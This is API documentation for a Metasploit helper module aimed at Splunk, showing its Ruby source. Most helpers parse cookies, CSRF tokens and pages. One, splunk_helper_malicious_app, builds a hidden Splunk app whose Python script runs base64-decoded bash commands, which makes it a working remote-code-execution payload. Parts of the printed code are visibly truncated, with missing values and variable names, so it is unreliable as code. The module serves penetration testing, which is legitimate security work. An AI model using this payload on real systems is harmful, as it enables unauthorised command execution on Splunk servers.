Module: Msf::Exploit::Remote::HTTP::Splunk::Helpers

Included in:
Msf::Exploit::Remote::HTTP::Splunk
Defined in:
lib/msf/core/exploit/remote/http/splunk/helpers.rb

Overview

Module with helper methods for other Splunk module methods

Instance Method Summary collapse

Instance Method Details

#cookies_hash(cookie) ⇒ Hash

Converts a cookie string into a hash

Parameters:

  • cookie (String)

    Cookie string in the format "key1=value1; key2=value2"

Returns:

  • (Hash)

    Hash mapping cookie names to their values



110
111
112
113
114
115
116
117
118
119
# File 'lib/msf/core/exploit/remote/http/splunk/helpers.rb', line 110

def cookies_hash(cookie)
  return {} if cookie.nil? || cookie.empty?

  cookie.split(';').each_with_object({}) do |pair, hash|
    key, value = pair.split('=', 2)
    next if key.nil? || value.nil?

    hash[key.strip] = value.strip
  end
end

#extract_csrf_token(cookie) ⇒ String?

Extracts the Splunk CSRF token from a cookie string

Parameters:

  • cookie (String)

    Cookie string containing the CSRF token

Returns:

  • (String, nil)

    The CSRF token for the current Splunk port, or nil if not found



125
126
127
128
129
130
131
132
133
134
# File 'lib/msf/core/exploit/remote/http/splunk/helpers.rb', line 125

def extract_csrf_token(cookie)
  return nil if cookie.nil? || cookie.empty?

  cookies = cookies_hash(cookie)
  target_key = cookies.keys.find do |key|
    key =~ /^splunkweb_csrf_token_(\d+)$/
  end

  cookies[target_key] if target_key
end

#extract_next_page_vars(html) ⇒ Hash?

Extracts pagination parameters from the ‘Next’ link in the Splunk table.

Parameters:

  • html (Nokogiri::HTML::Document)

    The HTML document to parse.

Returns:

  • (Hash, nil)

    Returns a hash of GET parameters if a next page exists, otherwise nil.



140
141
142
143
144
145
146
147
148
149
150
# File 'lib/msf/core/exploit/remote/http/splunk/helpers.rb', line 140

def extract_next_page_vars(html)
  next_link = html.at('li.next a')
  return nil unless next_link&.[]('href')

  begin
    query = URI.parse(next_link['href']).query
    query ? Rack::Utils.parse_query(query) : nil
  rescue URI::InvalidURIError
    nil
  end
end

#filter_apps(apps, filter = {}) ⇒ Hash

Filters a hash of Splunk apps based on provided attributes

Parameters:

  • apps (Hash)

    A hash of apps where keys are app names and values are attribute hashes

  • filter (Hash) (defaults to: {})

    A hash of attributes to filter by (e.g., { status: 'enabled' })

Returns:

  • (Hash)

    A hash of apps that match all filter criteria



100
101
102
103
104
# File 'lib/msf/core/exploit/remote/http/splunk/helpers.rb', line 100

def filter_apps(apps, filter = {})
  apps.select do |_name, attributes|
    filter.all? { |key, value| attributes[key] == value }
  end
end

#splunk_helper_extract_token(timeout = 20) ⇒ String?

Helper method to get tokens for login

Parameters:

  • timeout (Integer) (defaults to: 20)

    The maximum number of seconds to wait before the request times out

Returns:

  • (String, nil)

    Post data to use for login



9
10
11
12
13
14
15
16
17
18
19
20
21
# File 'lib/msf/core/exploit/remote/http/splunk/helpers.rb', line 9

def splunk_helper_extract_token(timeout = 20)
  res = send_request_cgi({
    'uri' => ,
    'method' => 'GET',
    'keep_cookies' => true
  }, timeout)

  unless res&.code == 200
    vprint_error('Unable to get login tokens')
    return nil
  end
  "session_id_#{datastore['RPORT']}=#{Rex::Text.rand_text_numeric(40)}; " << res.get_cookies
end

#splunk_helper_malicious_app(app_name) ⇒ Rex::Text

Helper method to construct malicious app in .tar.gz form

Parameters:

  • app_name (String)

    Name of app to upload

Returns:

  • (Rex::Text)

    Malicious app in .tar.gz form



27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# File 'lib/msf/core/exploit/remote/http/splunk/helpers.rb', line 27

def splunk_helper_malicious_app(app_name)
  # metadata folder
   = <<~EOF
    [commands]
    export = system
  EOF

  # default folder
  commands_conf = <<~EOF
    [#{app_name}]
    type = python
    filename = #{app_name}.py
    local = false
    enableheader = false
    streaming = false
    perf_warn_limit = 0
  EOF

  app_conf = <<~EOF
    [launcher]
    author=#{Faker::Name.name}
    description=#{Faker::Lorem.sentence}
    version=#{Faker::App.version}

    [ui]
    is_visible = false
  EOF

  # bin folder
  msf_exec_py = <<~EOF
    import sys, base64, subprocess
    import splunk.Intersplunk

    header = ['result']
    results = []

    try:
      proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
      output = proc.stdout.read()
      results.append({'result': base64.b64encode(output).decode('utf-8')})
    except Exception as e:
      error_msg = 'Error : ' + str(e)
      results = splunk.Intersplunk.generateErrorResults(error_msg)

    splunk.Intersplunk.outputResults(results, fields=header)
  EOF

  tarfile = StringIO.new
  Rex::Tar::Writer.new tarfile do |tar|
    tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
      io.write 
    end
    tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
      io.write commands_conf
    end
    tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
      io.write app_conf
    end
    tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
      io.write msf_exec_py
    end
  end
  tarfile.rewind
  tarfile.close

  Rex::Text.gzip(tarfile.string)
end